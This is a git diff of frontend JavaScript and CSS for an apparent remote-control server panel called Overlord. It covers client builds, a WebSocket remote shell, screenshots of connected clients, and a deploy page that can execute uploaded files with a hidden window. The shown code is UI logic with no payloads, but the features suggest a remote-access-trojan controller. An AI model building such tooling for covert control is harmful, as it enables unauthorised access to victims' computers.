+ ? "fa-solid fa-circle-check"
+ : "fa-solid fa-circle-xmark";
+
+ if (data.success && data.files) {
+ const buildData = {
+ id: data.buildId,
+ status: "success",
+ startTime: Date.now(),
+ expiresAt: data.expiresAt,
+ files: data.files,
+ };
+ saveBuildToStorage(data.buildId, buildData);
+
+ buildResults.classList.remove("hidden");
+ displayBuild(buildData);
+ }
+
+ reader.releaseLock();
+ return;
+ } else if (data.type === "error") {
+ addBuildOutput(`\nERROR: ${data.error}\n`, "error");
+ }
+ }
+ }
+
+ buildOutputContainer.scrollTop = buildOutputContainer.scrollHeight;
+ }
+ } finally {
+ reader.releaseLock();
+ }
+}
+
+function addBuildOutput(text, level = "info") {
+ const span = document.createElement("span");
+ span.textContent = text;
+
+ if (level === "error") {
+ span.className = "text-red-400";
+ } else if (level === "success") {
+ span.className = "text-green-400";
+ } else if (level === "warn") {
+ span.className = "text-yellow-400";
+ } else {
+ span.className = "text-slate-300";
+ }
+
+ buildOutputDiv.appendChild(span);
+}
+
+function showBuildFiles(files, buildId, expiresAt) {
+ buildResults.classList.remove("hidden");
+ buildFilesDiv.innerHTML = "";
+
+ const buildInfoDiv = document.createElement("div");
+ buildInfoDiv.className =
+ "mb-3 p-3 bg-slate-900/70 border border-slate-700 rounded-lg";
+ const infoRow = document.createElement("div");
+ infoRow.className = "flex items-center justify-between gap-2 text-sm";
+ const left = document.createElement("div");
+ left.className = "flex items-center gap-2";
+ const idIcon = document.createElement("i");
+ idIcon.className = "fa-solid fa-fingerprint text-slate-400";
+ const idLabel = document.createElement("span");
+ idLabel.className = "text-slate-300";
+ idLabel.textContent = "Build ID:";
+ const idCode = document.createElement("code");
+ idCode.className = "text-blue-400 font-mono";
+ idCode.textContent = buildId;
+ left.appendChild(idIcon);
+ left.appendChild(idLabel);
+ left.appendChild(idCode);
+
+ const right = document.createElement("div");
+ right.className = "flex items-center gap-2";
+ const clockIcon = document.createElement("i");
+ clockIcon.className = "fa-solid fa-clock text-slate-400";
+ const expiresLabel = document.createElement("span");
+ expiresLabel.className = "text-slate-300";
+ expiresLabel.textContent = "Expires in:";
+ const timer = document.createElement("span");
+ timer.id = "expiration-timer";
+ timer.className = "text-yellow-400 font-medium";
+ timer.dataset.expires = String(expiresAt);
+ timer.textContent = "Calculating...";
+ right.appendChild(clockIcon);
+ right.appendChild(expiresLabel);
+ right.appendChild(timer);
+
+ infoRow.appendChild(left);
+ infoRow.appendChild(right);
+ buildInfoDiv.appendChild(infoRow);
+ buildFilesDiv.appendChild(buildInfoDiv);
+
+ updateExpirationTimer();
+ setInterval(updateExpirationTimer, 60000);
+
+ files.forEach((file) => {
+ const fileDiv = document.createElement("div");
+ fileDiv.className =
+ "flex items-center justify-between gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg";
+
+ const fileInfo = document.createElement("div");
+ fileInfo.className = "flex items-center gap-2";
+ const fileIcon = document.createElement("i");
+ fileIcon.className = "fa-solid fa-file-code text-blue-400";
+ const fileName = document.createElement("span");
+ fileName.className = "font-medium";
+ fileName.textContent = file.name;
+ const fileSize = document.createElement("span");
+ fileSize.className = "text-xs text-slate-500";
+ fileSize.textContent = formatFileSize(file.size);
+ fileInfo.appendChild(fileIcon);
+ fileInfo.appendChild(fileName);
+ fileInfo.appendChild(fileSize);
+
+ const downloadBtn = document.createElement("a");
+ downloadBtn.href = `/api/build/download/${encodeURIComponent(file.name)}`;
+ downloadBtn.className =
+ "inline-flex items-center gap-1 px-3 py-1 rounded bg-blue-600 hover:bg-blue-700 text-white text-sm transition-colors";
+ downloadBtn.innerHTML = ' Download';
+
+ fileDiv.appendChild(fileInfo);
+ fileDiv.appendChild(downloadBtn);
+ buildFilesDiv.appendChild(fileDiv);
+ });
+}
+
+function updateExpirationTimer(timerEl, expiresAt) {
+ if (!timerEl) return;
+
+ const now = Date.now();
+ const remaining = expiresAt - now;
+
+ if (remaining <= 0) {
+ timerEl.textContent = "Expired";
+ timerEl.className = "text-red-400 font-medium";
+ return;
+ }
+
+ const days = Math.floor(remaining / (1000 * 60 * 60 * 24));
+ const hours = Math.floor(
+ (remaining % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60),
+ );
+ const minutes = Math.floor((remaining % (1000 * 60 * 60)) / (1000 * 60));
+
+ if (days > 0) {
+ timerEl.textContent = `${days}d ${hours}h`;
+ } else if (hours > 0) {
+ timerEl.textContent = `${hours}h ${minutes}m`;
+ } else {
+ timerEl.textContent = `${minutes}m`;
+ }
+
+ if (days >= 3) {
+ timerEl.className = "text-green-400 font-medium";
+ } else if (days >= 1) {
+ timerEl.className = "text-yellow-400 font-medium";
+ } else {
+ timerEl.className = "text-orange-400 font-medium";
+ }
+}
+
+async function deleteBuild(buildId) {
+ if (!confirm("Are you sure you want to delete this build?")) {
+ return;
+ }
+
+ try {
+ const res = await fetch(`/api/build/${buildId}/delete`, {
+ method: "DELETE",
+ credentials: "include",
+ });
+
+ if (!res.ok) {
+ throw new Error("Failed to delete build");
+ }
+
+ const buildElement = document.getElementById(`build-${buildId}`);
+ if (buildElement) {
+ buildElement.remove();
+ }
+
+ removeBuildFromStorage(buildId);
+
+ if (buildFilesDiv.children.length === 0) {
+ buildResults.classList.add("hidden");
+ }
+ } catch (err) {
+ console.error("Failed to delete build:", err);
+ alert("Failed to delete build. Please try again.");
+ }
+}
+
+function formatFileSize(bytes) {
+ if (bytes === 0) return "0 B";
+ const k = 1024;
+ const sizes = ["B", "KB", "MB", "GB"];
+ const i = Math.floor(Math.log(bytes) / Math.log(k));
+ return Math.round((bytes / Math.pow(k, i)) * 100) / 100 + " " + sizes[i];
+}
+
+function saveBuildToStorage(buildId, buildData) {
+ try {
+ const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]");
+ const existingIndex = builds.findIndex((b) => b.id === buildId);
+
+ if (existingIndex >= 0) {
+ builds[existingIndex] = buildData;
+ } else {
+ builds.push(buildData);
+ }
+
+ if (builds.length > 20) {
+ builds.splice(0, builds.length - 20);
+ }
+
+ localStorage.setItem("overlord_builds", JSON.stringify(builds));
+ } catch (err) {
+ console.error("Failed to save build to localStorage:", err);
+ }
+}
+
+function getBuildFromStorage(buildId) {
+ try {
+ const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]");
+ return builds.find((b) => b.id === buildId);
+ } catch (err) {
+ console.error("Failed to get build from localStorage:", err);
+ return null;
+ }
+}
+
+function getAllBuildsFromStorage() {
+ try {
+ const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]");
+
+ return builds.sort((a, b) => b.startTime - a.startTime);
+ } catch (err) {
+ console.error("Failed to get builds from localStorage:", err);
+ return [];
+ }
+}
+
+function removeBuildFromStorage(buildId) {
+ try {
+ const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]");
+ const filtered = builds.filter((b) => b.id !== buildId);
+ localStorage.setItem("overlord_builds", JSON.stringify(filtered));
+ } catch (err) {
+ console.error("Failed to remove build from localStorage:", err);
+ }
+}
+
+async function loadSavedBuilds() {
+ try {
+ const res = await fetch("/api/build/list", {
+ credentials: "include",
+ });
+
+ if (!res.ok) {
+ console.error("Failed to fetch builds from server");
+ return;
+ }
+
+ const data = await res.json();
+ const builds = data.builds || [];
+
+ const now = Date.now();
+ const validBuilds = builds.filter((build) => {
+ if (build.expiresAt && build.expiresAt <= now) {
+ return false;
+ }
+ return true;
+ });
+
+ if (validBuilds.length === 0) {
+ return;
+ }
+
+ buildResults.classList.remove("hidden");
+
+ for (const build of validBuilds) {
+ displayBuild(build);
+
+ saveBuildToStorage(build.id, build);
+ }
+ } catch (err) {
+ console.error("Failed to load builds:", err);
+
+ const builds = getAllBuildsFromStorage();
+ const now = Date.now();
+ const validBuilds = builds.filter((build) => {
+ if (build.expiresAt && build.expiresAt <= now) {
+ removeBuildFromStorage(build.id);
+ return false;
+ }
+ return true;
+ });
+
+ if (validBuilds.length > 0) {
+ buildResults.classList.remove("hidden");
+ validBuilds.forEach((build) => displayBuild(build));
+ }
+ }
+}
+
+function displayBuild(build) {
+ const buildContainer = document.createElement("div");
+ buildContainer.className =
+ "build-result-item mb-6 pb-6 border-b border-gray-700 last:border-b-0";
+ buildContainer.id = `build-${build.id}`;
+ const header = document.createElement("div");
+ header.className = "flex items-center justify-between mb-3";
+
+ const left = document.createElement("div");
+ left.className = "flex items-center gap-3";
+ const boxIcon = document.createElement("i");
+ boxIcon.className = "fa-solid fa-box text-blue-400";
+ const buildLabel = document.createElement("span");
+ buildLabel.className = "text-gray-300 font-medium";
+ buildLabel.textContent = `Build ID: ${build.id.substring(0, 8)}`;
+ const sep = document.createElement("span");
+ sep.className = "text-gray-500";
+ sep.textContent = "•";
+ const startedAt = document.createElement("span");
+ startedAt.className = "text-sm text-gray-400";
+ startedAt.textContent = new Date(build.startTime).toLocaleString();
+ left.appendChild(boxIcon);
+ left.appendChild(buildLabel);
+ left.appendChild(sep);
+ left.appendChild(startedAt);
+
+ const right = document.createElement("div");
+ right.className = "flex items-center gap-3";
+ const timerWrap = document.createElement("div");
+ timerWrap.className = "flex items-center gap-2";
+ const clockIcon = document.createElement("i");
+ clockIcon.className = "fa-solid fa-clock text-gray-400";
+ const timer = document.createElement("span");
+ timer.id = `timer-${build.id}`;
+ timer.className = "text-gray-300 font-medium";
+ timer.textContent = "Loading...";
+ timerWrap.appendChild(clockIcon);
+ timerWrap.appendChild(timer);
+
+ const deleteBtn = document.createElement("button");
+ deleteBtn.id = `delete-btn-${build.id}`;
+ deleteBtn.className =
+ "px-3 py-1.5 bg-red-500/20 hover:bg-red-500/30 text-red-400 rounded-lg transition-colors flex items-center gap-2 text-sm";
+ deleteBtn.title = "Delete build";
+ const deleteIcon = document.createElement("i");
+ deleteIcon.className = "fa-solid fa-trash";
+ const deleteText = document.createElement("span");
+ deleteText.textContent = "Delete";
+ deleteBtn.appendChild(deleteIcon);
+ deleteBtn.appendChild(deleteText);
+ deleteBtn.addEventListener("click", () => deleteBuild(build.id));
+
+ right.appendChild(timerWrap);
+ right.appendChild(deleteBtn);
+
+ header.appendChild(left);
+ header.appendChild(right);
+
+ const filesContainer = document.createElement("div");
+ filesContainer.id = `files-${build.id}`;
+ filesContainer.className = "space-y-2";
+
+ buildContainer.appendChild(header);
+ buildContainer.appendChild(filesContainer);
+
+ buildFilesDiv.appendChild(buildContainer);
+
+ showBuildFilesForContainer(build, `files-${build.id}`, `timer-${build.id}`);
+}
+
+function showBuildFilesForContainer(build, containerId, timerId) {
+ const container = document.getElementById(containerId);
+ const timerEl = document.getElementById(timerId);
+
+ if (!container || !timerEl) return;
+
+ build.files.forEach((file) => {
+ const fileDiv = document.createElement("div");
+ fileDiv.className =
+ "flex items-center justify-between bg-gray-700/50 p-4 rounded-lg hover:bg-gray-700 transition-colors";
+
+ const fileMeta = document.createElement("div");
+ fileMeta.className = "flex items-center gap-3";
+ const fileIcon = document.createElement("i");
+ fileIcon.className = "fa-solid fa-file text-blue-400";
+ const fileText = document.createElement("div");
+ const fileName = document.createElement("div");
+ fileName.className = "text-white font-medium";
+ fileName.textContent = file.filename;
+ const filePlatform = document.createElement("div");
+ filePlatform.className = "text-sm text-gray-400";
+ filePlatform.textContent = file.platform;
+ fileText.appendChild(fileName);
+ fileText.appendChild(filePlatform);
+ fileMeta.appendChild(fileIcon);
+ fileMeta.appendChild(fileText);
+
+ const download = document.createElement("a");
+ download.href = `/api/build/download/${encodeURIComponent(file.filename)}`;
+ download.download = "";
+ download.className =
+ "px-4 py-2 bg-blue-500 hover:bg-blue-600 text-white rounded-lg transition-colors flex items-center gap-2";
+ const downloadIcon = document.createElement("i");
+ downloadIcon.className = "fa-solid fa-download";
+ const downloadText = document.createElement("span");
+ downloadText.textContent = "Download";
+ download.appendChild(downloadIcon);
+ download.appendChild(downloadText);
+
+ fileDiv.appendChild(fileMeta);
+ fileDiv.appendChild(download);
+
+ container.appendChild(fileDiv);
+ });
+
+ if (build.expiresAt) {
+ updateExpirationTimer(timerEl, build.expiresAt);
+
+ setInterval(() => updateExpirationTimer(timerEl, build.expiresAt), 60000);
+ }
+}
diff --git a/Overlord-Server/public/assets/change-password.js b/Overlord-Server/public/assets/change-password.js
new file mode 100644
index 0000000..bf2784d
--- /dev/null
+++ b/Overlord-Server/public/assets/change-password.js
@@ -0,0 +1,210 @@
+const form = document.getElementById("change-password-form");
+const currentPass = document.getElementById("current-pass");
+const newPass = document.getElementById("new-pass");
+const confirmPass = document.getElementById("confirm-pass");
+const errEl = document.getElementById("error");
+const successEl = document.getElementById("success");
+
+const tempToken = sessionStorage.getItem("temp_token");
+const tempUser = sessionStorage.getItem("temp_user");
+
+if (!tempToken || !tempUser) {
+ window.location.href = "/";
+}
+
+const user = JSON.parse(tempUser);
+
+if (typeof anime !== "undefined") {
+ const particles = document.querySelectorAll(".particle");
+ particles.forEach((particle, i) => {
+ anime({
+ targets: particle,
+ translateX: () => anime.random(-100, 100),
+ translateY: () => anime.random(-100, 100),
+ scale: () => anime.random(0.5, 1.5),
+ opacity: [0, 0.6, 0],
+ duration: () => anime.random(3000, 6000),
+ delay: i * 200,
+ easing: "easeInOutQuad",
+ loop: true,
+ });
+ });
+
+ anime
+ .timeline()
+ .add({
+ targets: ".login-card",
+ opacity: [0, 1],
+ translateY: [30, 0],
+ duration: 800,
+ easing: "easeOutExpo",
+ })
+ .add(
+ {
+ targets: ".login-crown-wrapper",
+ scale: [0, 1],
+ rotate: [180, 0],
+ duration: 600,
+ easing: "easeOutBack",
+ },
+ "-=400",
+ )
+ .add(
+ {
+ targets: ".login-brand",
+ opacity: [0, 1],
+ translateY: [-10, 0],
+ duration: 500,
+ easing: "easeOutQuad",
+ },
+ "-=300",
+ )
+ .add(
+ {
+ targets: ".login-title, .login-subtitle",
+ opacity: [0, 1],
+ translateY: [10, 0],
+ duration: 500,
+ delay: anime.stagger(100),
+ easing: "easeOutQuad",
+ },
+ "-=300",
+ )
+ .add(
+ {
+ targets: ".form-group",
+ opacity: [0, 1],
+ translateY: [15, 0],
+ duration: 500,
+ delay: anime.stagger(100),
+ easing: "easeOutQuad",
+ },
+ "-=300",
+ )
+ .add(
+ {
+ targets: ".login-btn",
+ opacity: [0, 1],
+ scale: [0.95, 1],
+ duration: 400,
+ easing: "easeOutQuad",
+ },
+ "-=200",
+ );
+
+ anime({
+ targets: ".login-crown",
+ scale: [1, 1.08, 1],
+ duration: 2000,
+ easing: "easeInOutQuad",
+ loop: true,
+ });
+
+ document.querySelectorAll(".input-animated input").forEach((input) => {
+ input.addEventListener("focus", (e) => {
+ anime({
+ targets: e.target.parentElement,
+ scale: [1, 1.02],
+ duration: 200,
+ easing: "easeOutQuad",
+ });
+ });
+
+ input.addEventListener("blur", (e) => {
+ anime({
+ targets: e.target.parentElement,
+ scale: [1.02, 1],
+ duration: 200,
+ easing: "easeOutQuad",
+ });
+ });
+ });
+}
+
+form?.addEventListener("submit", async (e) => {
+ e.preventDefault();
+ errEl.textContent = "";
+ successEl.style.display = "none";
+
+ if (newPass.value !== confirmPass.value) {
+ errEl.textContent = "New passwords do not match";
+ return;
+ }
+
+ if (newPass.value.length < 6) {
+ errEl.textContent = "New password must be at least 6 characters";
+ return;
+ }
+
+ if (currentPass.value === newPass.value) {
+ errEl.textContent = "New password must be different from current password";
+ return;
+ }
+
+ try {
+ const res = await fetch(`/api/users/${user.id}/password`, {
+ method: "PUT",
+ headers: {
+ "Content-Type": "application/json",
+ Authorization: `Bearer ${tempToken}`,
+ },
+ body: JSON.stringify({
+ currentPassword: currentPass.value,
+ newPassword: newPass.value,
+ }),
+ });
+
+ const data = await res.json();
+
+ if (!res.ok) {
+ throw new Error(data.error || "Failed to change password");
+ }
+
+ sessionStorage.removeItem("temp_token");
+ sessionStorage.removeItem("temp_user");
+
+ successEl.textContent = "Password changed successfully! Redirecting...";
+ successEl.style.opacity = "0";
+ successEl.style.display = "block";
+
+ if (typeof anime !== "undefined") {
+ anime({
+ targets: successEl,
+ opacity: [0, 1],
+ translateY: [-5, 0],
+ duration: 400,
+ easing: "easeOutQuad",
+ });
+ } else {
+ successEl.style.opacity = "1";
+ }
+
+ setTimeout(() => {
+ window.location.href = "/";
+ }, 2000);
+ } catch (err) {
+ errEl.textContent = err.message || "Failed to change password";
+
+ if (typeof anime !== "undefined") {
+ anime({
+ targets: ".login-card",
+ translateX: [
+ { value: -10, duration: 100 },
+ { value: 10, duration: 100 },
+ { value: -10, duration: 100 },
+ { value: 10, duration: 100 },
+ { value: 0, duration: 100 },
+ ],
+ easing: "easeInOutQuad",
+ });
+
+ anime({
+ targets: "#error",
+ opacity: [0, 1],
+ translateY: [-5, 0],
+ duration: 300,
+ easing: "easeOutQuad",
+ });
+ }
+ }
+});
diff --git a/Overlord-Server/public/assets/console.css b/Overlord-Server/public/assets/console.css
new file mode 100644
index 0000000..56e6bba
--- /dev/null
+++ b/Overlord-Server/public/assets/console.css
@@ -0,0 +1,193 @@
+.console-body {
+ margin: 0;
+ min-height: 100vh;
+ background:
+ radial-gradient(120% 120% at 20% 20%, #0d1a2f 0%, transparent 45%),
+ radial-gradient(110% 110% at 80% 0%, #0b1224 0%, transparent 50%), #03060f;
+ color: #e8edf2;
+ font-family: "Inter", "Segoe UI", system-ui, -apple-system, sans-serif;
+ display: flex;
+ flex-direction: column;
+}
+
+.console-topbar {
+ position: sticky;
+ top: 0;
+ z-index: 10;
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ gap: 10px;
+ padding: 14px 18px;
+ background: rgba(7, 12, 22, 0.9);
+ border-bottom: 1px solid rgba(255, 255, 255, 0.06);
+ backdrop-filter: blur(10px);
+}
+
+.console-topbar .brand {
+ display: inline-flex;
+ align-items: center;
+ gap: 10px;
+ font-weight: 600;
+ letter-spacing: 0.3px;
+}
+
+.console-topbar .console-actions {
+ display: flex;
+ gap: 8px;
+ align-items: center;
+ flex-wrap: wrap;
+}
+
+.console-main {
+ flex: 1;
+ padding: 18px;
+ display: grid;
+ place-items: center;
+}
+
+.console-card {
+ width: min(1100px, 96vw);
+ background: rgba(8, 12, 22, 0.8);
+ border: 1px solid rgba(255, 255, 255, 0.05);
+ border-radius: 14px;
+ box-shadow: 0 20px 50px rgba(0, 0, 0, 0.4);
+ display: flex;
+ flex-direction: column;
+ gap: 14px;
+ padding: 16px;
+}
+
+.console-meta {
+ display: grid;
+ grid-template-columns: repeat(auto-fit, minmax(140px, 1fr));
+ gap: 10px;
+ color: #a9b8d4;
+}
+
+.console-target-id {
+ font-size: 14px;
+ color: #e5edff;
+}
+
+.console-output {
+ min-height: 420px;
+ max-height: 70vh;
+ width: 100%;
+ max-width: 100%;
+ min-width: 0;
+ background: #050913;
+ border: 1px solid rgba(255, 255, 255, 0.06);
+ border-radius: 12px;
+ padding: 14px;
+ overflow: auto;
+ overflow-x: auto;
+ box-sizing: border-box;
+ white-space: normal;
+ text-align: left;
+ overflow-wrap: normal;
+ word-break: normal;
+ line-height: 1.5;
+ font-size: 14px;
+ color: #e8edf2;
+ box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.02);
+}
+
+.console-pre {
+ margin: 0;
+ white-space: pre;
+ display: block;
+ width: max-content;
+ min-width: 0;
+ text-align: left;
+}
+
+.console-input-row {
+ display: flex;
+ gap: 10px;
+ align-items: center;
+ background: rgba(255, 255, 255, 0.02);
+ border: 1px solid rgba(255, 255, 255, 0.06);
+ border-radius: 10px;
+ padding: 10px 12px;
+}
+
+.console-input-row .prompt {
+ color: #6ee7b7;
+}
+
+.console-input-row textarea {
+ flex: 1;
+ resize: vertical;
+ min-height: 44px;
+ max-height: 160px;
+ background: transparent;
+ border: none;
+ color: #e8edf2;
+ font-size: 14px;
+ outline: none;
+}
+
+.console-buttons {
+ display: flex;
+ gap: 8px;
+}
+
+.btn,
+.button {
+ border: 1px solid rgba(255, 255, 255, 0.12);
+ background: rgba(255, 255, 255, 0.05);
+ color: #e8edf2;
+ padding: 9px 12px;
+ border-radius: 10px;
+ cursor: pointer;
+ display: inline-flex;
+ align-items: center;
+ gap: 8px;
+ font-size: 13px;
+}
+
+.btn.primary,
+.button.primary {
+ background: linear-gradient(120deg, #34d399, #22c55e);
+ border-color: rgba(52, 211, 153, 0.5);
+ color: #062312;
+ font-weight: 700;
+}
+
+.btn.ghost,
+.button.ghost {
+ background: rgba(255, 255, 255, 0.06);
+}
+
+.status-pill {
+ padding: 8px 12px;
+ border-radius: 999px;
+ font-size: 13px;
+ border: 1px solid rgba(255, 255, 255, 0.14);
+ background: rgba(255, 255, 255, 0.04);
+}
+
+@media (max-width: 720px) {
+ .console-body {
+ background: #050913;
+ }
+ .console-main {
+ padding: 12px;
+ }
+ .console-card {
+ padding: 12px;
+ }
+ .console-input-row {
+ flex-direction: column;
+ align-items: stretch;
+ }
+ .console-buttons {
+ width: 100%;
+ justify-content: flex-end;
+ }
+ .console-buttons .btn,
+ .console-buttons .button {
+ width: auto;
+ }
+}
diff --git a/Overlord-Server/public/assets/console.js b/Overlord-Server/public/assets/console.js
new file mode 100644
index 0000000..bb0f1a1
--- /dev/null
+++ b/Overlord-Server/public/assets/console.js
@@ -0,0 +1,155 @@
+import { ansiToHtml } from "./ansi.js";
+import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
+const outputEl = document.getElementById("console-output");
+const statusPill = document.getElementById("status-pill");
+const clientLabel = document.getElementById("client-label");
+const hostLabel = document.getElementById("host-label");
+const userLabel = document.getElementById("user-label");
+const osLabel = document.getElementById("os-label");
+const form = document.getElementById("console-form");
+const input = document.getElementById("console-input");
+const ctrlcBtn = document.getElementById("ctrlc-btn");
+
+const clientId = decodeURIComponent(
+ location.pathname.split("/").filter(Boolean)[0] || "",
+);
+const wsProto = location.protocol === "https:" ? "wss" : "ws";
+const wsUrl = `${wsProto}://${location.host}/api/clients/${encodeURIComponent(clientId)}/console/ws`;
+let ws = null;
+let connected = false;
+let outputBuffer = "";
+let hasOutput = false;
+
+const urlParams = new URLSearchParams(window.location.search);
+const prefilledCommand = urlParams.get("cmd");
+if (prefilledCommand && input) {
+ setTimeout(() => {
+ input.value = prefilledCommand;
+ input.focus();
+ }, 1000);
+}
+
+function setStatus(label, tone = "pill-offline") {
+ if (!statusPill) return;
+ statusPill.className = `pill ${tone}`;
+ statusPill.innerHTML = ` ${label}`;
+}
+
+function appendSystem(text) {
+ outputBuffer += `\n[system] ${text}\n`;
+ renderOutput();
+}
+
+function appendOutput(text) {
+ outputBuffer += text;
+ renderOutput();
+}
+
+function renderOutput() {
+ if (!outputEl) return;
+ const normalized = outputBuffer.replace(/\r\n/g, "\n").replace(/\r/g, "\n");
+ outputEl.innerHTML = `${ansiToHtml(normalized)} `;
+ outputEl.scrollTop = outputEl.scrollHeight;
+}
+
+function connect() {
+ appendSystem("Connecting to console...");
+ setStatus("Connecting...", "pill-offline");
+ ws = new WebSocket(wsUrl);
+ ws.binaryType = "arraybuffer";
+
+ ws.addEventListener("open", () => {
+ connected = true;
+ setStatus("Connected", "pill-online");
+ });
+
+ ws.addEventListener("message", (event) => {
+ const payload = decodeMsgpack(event.data);
+ if (!payload) return;
+
+ switch (payload.type) {
+ case "ready":
+ if (clientLabel) clientLabel.textContent = payload.clientId || "unknown";
+ if (hostLabel) hostLabel.textContent = payload.host || "unknown";
+ if (userLabel) userLabel.textContent = payload.user || "unknown";
+ if (osLabel) osLabel.textContent = payload.os || "unknown";
+ setStatus("Connected", "pill-online");
+ break;
+ case "status":
+ if (payload.status === "offline") {
+ setStatus("Offline", "pill-offline");
+ appendSystem(payload.reason || "Client offline");
+ } else if (payload.status === "connecting" && !hasOutput) {
+ setStatus("Connecting...", "pill-ghost");
+ } else if (payload.status === "closed") {
+ setStatus("Closed", "pill-offline");
+ appendSystem(payload.reason || "Console closed");
+ }
+ break;
+ case "output": {
+ if (payload.data) {
+ hasOutput = true;
+ setStatus("Live", "pill-online");
+ appendOutput(payload.data);
+ }
+ if (payload.error) appendSystem(payload.error);
+ if (typeof payload.exitCode === "number") {
+ appendSystem(`Process exited (${payload.exitCode})`);
+ setStatus("Closed", "pill-offline");
+ }
+ break;
+ }
+ default:
+ break;
+ }
+ });
+
+ ws.addEventListener("close", () => {
+ if (!connected) return;
+ connected = false;
+ setStatus("Disconnected", "pill-offline");
+ appendSystem("Connection closed");
+ });
+
+ ws.addEventListener("error", () => {
+ setStatus("Error", "pill-offline");
+ });
+}
+
+function sendInput(value) {
+ if (!ws || ws.readyState !== WebSocket.OPEN) {
+ appendSystem("Socket not ready");
+ return;
+ }
+ ws.send(encodeMsgpack({ type: "input", data: value }));
+}
+
+function wireInput() {
+ if (!form || !input) return;
+
+ form.addEventListener("submit", (e) => {
+ e.preventDefault();
+ const value = input.value;
+ if (!value.trim()) {
+ input.value = "";
+ return;
+ }
+ const text = value.endsWith("\n") ? value : `${value}\n`;
+ sendInput(text);
+ input.value = "";
+ input.focus();
+ });
+
+ input.addEventListener("keydown", (e) => {
+ if (e.key === "Enter" && !e.shiftKey) {
+ e.preventDefault();
+ form.dispatchEvent(new Event("submit"));
+ }
+ });
+
+ ctrlcBtn?.addEventListener("click", () => {
+ sendInput("\u0003");
+ });
+}
+wireInput();
+connect();
diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js
new file mode 100644
index 0000000..22ea82d
--- /dev/null
+++ b/Overlord-Server/public/assets/data.js
@@ -0,0 +1,143 @@
+import { state } from "./state.js";
+import { digestData } from "./utils.js";
+
+const POLL_INTERVAL_MS = 5000;
+let pollTimer = null;
+let render = () => {};
+
+export function registerRenderer(fn) {
+ render = fn;
+}
+
+export async function loadWithOptions(options = {}) {
+ const { force = false } = options;
+ if (state.isLoading) {
+ state.pendingForce = state.pendingForce || force;
+ return;
+ }
+ state.isLoading = true;
+ try {
+ const params = new URLSearchParams({
+ page: String(state.page),
+ pageSize: String(state.pageSize),
+ q: state.searchTerm,
+ sort: state.sort,
+ status: state.filterStatus || "all",
+ os: state.filterOs || "all",
+ });
+ const res = await fetch(`/api/clients?${params.toString()}`);
+ if (!res.ok) throw new Error(`status ${res.status}`);
+ const data = await res.json();
+
+ updateOsFilter(data.items);
+
+ const digest = digestData(data, state);
+ if (!force && digest === state.lastDigest) {
+ return;
+ }
+ state.lastDigest = digest;
+ render(data);
+
+ if (!state.thumbnailsRequested) {
+ state.thumbnailsRequested = true;
+ requestThumbnailsForClients(data.items);
+ }
+ } catch (err) {
+ console.error("load clients", err);
+ } finally {
+ state.isLoading = false;
+ if (state.pendingForce) {
+ const shouldForce = state.pendingForce;
+ state.pendingForce = false;
+ loadWithOptions({ force: shouldForce });
+ }
+ }
+}
+
+async function requestThumbnailsForClients(items) {
+ const onlineClientsWithoutThumbnail = items.filter(c => c.online && !c.thumbnail);
+ for (const client of onlineClientsWithoutThumbnail) {
+ await requestThumbnail(client.id);
+ }
+}
+
+function updateOsFilter(items) {
+ const osSelect = document.getElementById("filter-os");
+ if (!osSelect) return;
+
+ const osList = new Set();
+ items.forEach((item) => {
+ if (item.os) osList.add(item.os);
+ });
+
+ const currentValue = osSelect.value;
+ const osArray = Array.from(osList).sort();
+
+ osSelect.innerHTML = "";
+ const allOption = document.createElement("option");
+ allOption.value = "all";
+ allOption.textContent = "All OS";
+ osSelect.appendChild(allOption);
+
+ osArray.forEach((os) => {
+ const option = document.createElement("option");
+ option.value = os;
+ option.textContent = os;
+ osSelect.appendChild(option);
+ });
+
+ if (currentValue !== "all" && osList.has(currentValue)) {
+ osSelect.value = currentValue;
+ }
+}
+
+export function startAutoRefresh(intervalMs = POLL_INTERVAL_MS) {
+ clearInterval(pollTimer);
+ pollTimer = setInterval(() => {
+ loadWithOptions({ force: false });
+ }, intervalMs);
+}
+
+export async function sendCommand(clientId, action) {
+ try {
+ const res = await fetch(`/api/clients/${clientId}/command`, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ action }),
+ });
+ if (!res.ok) throw new Error(`command failed ${res.status}`);
+ return true;
+ } catch (err) {
+ console.error(err);
+ return false;
+ }
+}
+
+export async function requestPreview(clientId) {
+ const ok = await sendCommand(clientId, "screenshot");
+ if (ok) {
+ setTimeout(() => loadWithOptions({ force: true }), 250);
+ setTimeout(() => loadWithOptions({ force: true }), 800);
+ }
+}
+
+export async function requestThumbnail(clientId) {
+ try {
+ const res = await fetch(`/api/clients/${clientId}/thumbnail`, {
+ method: "POST",
+ });
+ if (res.ok) {
+ const data = await res.json();
+ if (data.ok) {
+ await loadWithOptions({ force: true });
+ setTimeout(() => loadWithOptions({ force: true }), 250);
+ setTimeout(() => loadWithOptions({ force: true }), 800);
+ return true;
+ }
+ }
+ return false;
+ } catch (err) {
+ console.error("Failed to request thumbnail:", err);
+ return false;
+ }
+}
diff --git a/Overlord-Server/public/assets/deploy.js b/Overlord-Server/public/assets/deploy.js
new file mode 100644
index 0000000..9973769
--- /dev/null
+++ b/Overlord-Server/public/assets/deploy.js
@@ -0,0 +1,541 @@
+const clientList = document.getElementById("client-list");
+const clientSearch = document.getElementById("client-search");
+const osFilter = document.getElementById("os-filter");
+const selectAllBtn = document.getElementById("select-all-btn");
+const clearSelectionBtn = document.getElementById("clear-selection-btn");
+const selectedCountSpan = document.getElementById("selected-count");
+const uploadZone = document.getElementById("upload-zone");
+const uploadInput = document.getElementById("upload-input");
+const uploadStatus = document.getElementById("upload-status");
+const osBadge = document.getElementById("os-badge");
+const execArgsInput = document.getElementById("exec-args");
+const hideWindowToggle = document.getElementById("hide-window-toggle");
+const executeBtn = document.getElementById("execute-btn");
+const updateBtn = document.getElementById("update-btn");
+const outputContainer = document.getElementById("output-container");
+const clearOutputBtn = document.getElementById("clear-output-btn");
+
+let allClients = [];
+let filteredClients = [];
+const selectedClients = new Set();
